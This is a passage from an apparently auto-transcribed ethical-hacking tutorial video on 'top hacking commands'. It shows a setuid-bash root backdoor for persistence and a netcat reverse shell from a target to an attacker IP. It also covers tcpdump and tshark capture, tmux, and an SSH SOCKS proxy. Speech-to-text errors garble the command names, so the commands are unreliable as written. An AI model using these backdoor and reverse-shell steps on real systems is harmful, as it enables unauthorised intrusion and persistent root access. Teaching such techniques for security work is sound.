privileges.

play18:37

That means that you need to be the admin to be able to configure this.

play18:41

But what that ultimately does is create a back door or you have

play18:46

a persistence mechanism,

play18:47

a little bit of a foothold so that at any point if we configure this with our

play18:51

pseudo password later on down the line,

play18:54

you get access to this machine one more time.

play18:57

Now you can just run bash tack P and you

play19:01

are root, you control the whole machine because you are the admin user.

play19:06

You set up that back door. If you wanted to,

play19:09

you could move into the root directory and you could do anything that you want.

play19:13

Maybe we could echo hello into a

play19:18

please subscribe to network Chuck,

play19:23

I'll hit enter on that. And now if I zoom out, let me show you this.

play19:27

LS Tech LA we can see our file right there.

play19:30

Please subscribe to network Chuck. Hey,

play19:33

just owned and controlled by the root user and we were able to configure that

play19:37

with our back door. Pseudo CH mod plus S bin Bash.

play19:42

That is my favorite top hacking command because then you've got a

play19:46

backdoor,

play19:47

you've got a persistence mechanism and a way to become root at any point.

play19:51

I hope you enjoyed a couple of those. Really neat Hey top hacking commands.

play19:55

But thank you so much network Chuck for letting me join the party here.

play19:58

This was an absolute blast.

play20:00

Now I'm going to do something bad. I'm going to do the same command twice. What?

play20:03

No, I know. It's okay. We're going to talk about TCP dump again. Why?

play20:07

Well because there's more cool stuff about it and we didn't give it enough time.

play20:09

We'll type in TCP dump, we'll type in dash W to send it to a file.

play20:13

We'll just call it capture dot pcap.

play20:15

Then dash I for our interface and we'll do ethernet zero.

play20:18

That's the one I have now lemme just make sure that's the case. IP address, yes,

play20:22

ethernet zero and go. And we'll generate some traffic,

play20:25

do something fun that we've already learned and map with random addresses.

play20:29

Decoys. We'll stop that with CTRL C.

play20:32

We can analyze that traffic with this command.

play20:34

TCP dump dash r specify our capture file which just capture pcap.

play20:38

Let's take a look. Cool.

play20:39

We can see we can also limit the amount of packets we capture with TCP dump and

play20:43

the switch dash C for counts. And we'll say like 100 that did not long.

play20:47

Now TCP dump is pretty cool.

play20:49

Great for quick captures but the real tool you want to use that's crazy powerful

play20:53

is thar the command line brother of Wireshark.

play20:57

To install thar we'll do a PT install thar thar can do a lot.

play21:01

Let's try a few things. First we'll type in thar and we'll capture one packet,

play21:05

just one. We'll put it in verbose mode with dash capital V,

play21:09

we'll do dash C for count. We'll do one and then dash IE,

play21:12

the 9 0 1 packet captured. And then look at all the stuff it shows us.

play21:15

That is so powerful. Networking geeks are just drooling. So yes, I'm drooling.

play21:19

Do you want to see something crazier filters. Watch this T-shirt.

play21:23

We'll do a dash y to apply a display filter and with this single quote we'll

play21:27

specify we'll do http request method

play21:32

space equals equals and a double quotes get and then close it out with a single

play21:35

quote. I know it's kind of wordy but check this out. Let's specify our interface

play21:40

get at zero and we're now capturing only showing get request. How cool is that?

play21:45

Let's generate some curl academy.network chuck.com.

play21:49

There's another one that's so cool.

play21:52

Now one of the most powerful ways we can use thar is by analyzing packet

play21:54

captures. So let's do a capture real quick to a file thar and actually no,

play21:59

I'm going to show you one cool thing.

play22:01

We'll use a command called timeout and put in 15 seconds and it'll time out or

play22:05

stop this packet capture in 15 seconds. That's pretty cool.

play22:08

Thar dash I ethernet zero and with a dash w command similar to

play22:13

TCP dump. We'll send that to a file thar dash p app me.

play22:17

Try to generate some quick traffic and done to display statistics and

play22:21

specifically to follow endpoint connections.

play22:23

Use this command thar dash r, we'll specify our capture,

play22:27

which was thar pcap.

play22:29

Then we'll use the switches dash qz and specify endpoints ip.

play22:35

How cool is that?

play22:37

We could also follow A TCP stream with thar dash RR capture dash qz and we'll

play22:42

say follow comma TCP. And we'll put that in ask E.

play22:46

So ask E, we'll do comma, we'll follow the seventh stream. That's pretty cool.

play22:51

Let's try, I dunno, the first stream. First stream's crazy.

play22:54

Let's do the 20th stream, the hundred stream. So powerful.

play22:58

We can also simply do custom output of fields based on the capture we're

play23:02

reviewing. Check this out thar do a dash e IP source dash e IP

play23:07

desk or DST dash e framed protocols.

play23:10

Notice we're specifying fields. We'll do a dash T fields,

play23:14

which is telling it to only output the fields we're specifying.

play23:16

And then finally dash r specifying our capture. How cool is that? So powerful.

play23:22

This is my new favorite tool.

play23:23

Tux a terminal multiplexer install tux with APT install tux.

play23:28

And then simply type in tm.

play23:30

We suddenly have a new terminal that we can do stuff in like ping

play23:33

academy.network chuck.com, leave that there.

play23:35

Hit control B and then D on your keyboard, you're detached from it.

play23:39

And then with tux A get right back to it. How powerful is that?

play23:44

I'll stop type in exit to close that out.

play23:46

We can create multiple sessions and name them. So team UX,

play23:49

new dash S and name it Bob, here's Bob. We'll ping something here.

play23:55

Detach from that for another session, Susie.

play23:59

Now if I type in tux ls,

play24:00

I've got two sessions and I can reattach to either of them, team ux,

play24:05

a dash t to specify my target will say Susie jumping right back in there.

play24:10

I can hit control B and then W to quickly jump between my various team Uck

play24:14

sessions and I can leave, go to another computer,

play24:17

jump back in here and connect to any one of these sessions.

play24:20

If you want to learn more, I did a whole video on team UX right up here. SSH.

play24:23

We use it all the time to remote into our systems. So for example,

play24:26

this Ubuntu guy to jump into him,

play24:28

I'll use SSH Ss H network Chuck at his IP address

play24:32

already. Cool. But it can do more. Instead of logging in,

play24:35

I can actually just run a command via SS H on another system with SSH network.

play24:40

Chuck at my server. And then right after that specify the command I want to run.

play24:45

So in single quotes I can say, who am I?

play24:48

BAM or IP address.

play24:52

Crazy powerful. Let's get crazier. You can actually make it a SOX proxy. What?

play24:56

Watch this. Before I create the tunnel,

play24:58

lemme demonstrate my location right now what's my IP address? I'm in Dallas,

play25:02

Texas as you can see right here. But if I use this crazy SSH command,

play25:05

I'll create a proxy and tunnel myself somewhere else. SSH dash D,

play25:09

which is telling it to create a SOX proxy. And I'll say port 1, 3, 3, 7.

play25:13

We'll do a dash C for compression dash Q for quiet mode and dash N to not

play25:17

execute any commands. And finally our server information root at,

play25:20

and this will be a server in Japan. Put our password in.

play25:25

Now we're going to launch chromium using that proxy. Our SOX five,

play25:28

the local host. Ready, set, go. Chromium's launched.

play25:31

Now I'll see where we are already feel a bit different and giving them,

play25:34

having a hard time figuring out where to go. I'm definitely in Osaka, Japan.

play25:38

Super cool, right Netcat our go-to for reverse shells. To install netcat,

play25:42

we'll do a PT install netcat dash traditional.

play25:47

To verify,

play25:47

just type in NC dash H and with Netcat installed on both your attacking computer

play25:52

and your target computer. Let's do a reverse shell on the attacker.

play25:55

All we got to do is wait,

play25:56

wait for the shell type in NC dash LVP and the port.

play26:01

You're waiting on 1 3, 3 7. We're waiting because on a reverse shell,

play26:05

the target reaches out to us On the target side, we'll type in NC for netcat,

play26:09

we'll do a dash e and specify the shell we want to have access to.

play26:12

So we'll do slash ben slash sh specify our attacker ip,

play26:17

which is us and the port 1, 3, 3, 7 that the attacker is listening on and they

play26:21

one hit enter if something happened. It sure stinking did check it out.

play26:27

I'm on the other computer. I've got a reverse shell.

play26:29

They can also do a fun thing where you just set a simple chat server with net

play26:32

cap. Why? I don't know. But you can do it. You should try it. It's fun.

play26:35

On one side you type in NC dash LVP, set up port on the other side,

play26:40

type in NC dash V,

play26:42

the IP address of the other computer and the port.

play26:46

So now I can say hey and I get hey, on the other side,

play26:50

what are you thinking about the end of this video?

play26:55

Me too. I'll catch you guys next time. For real though.

Rate This

5.0 / 5 (0 votes)

相关标签
Comandos de HackingSeguridad InformáticaFirewall TestingRed TeamNmap ScanningPing AvanzadoTúnelización ICMPSSH TunnelingNetcat Reverse ShellHacking Ético
您是否需要英文摘要?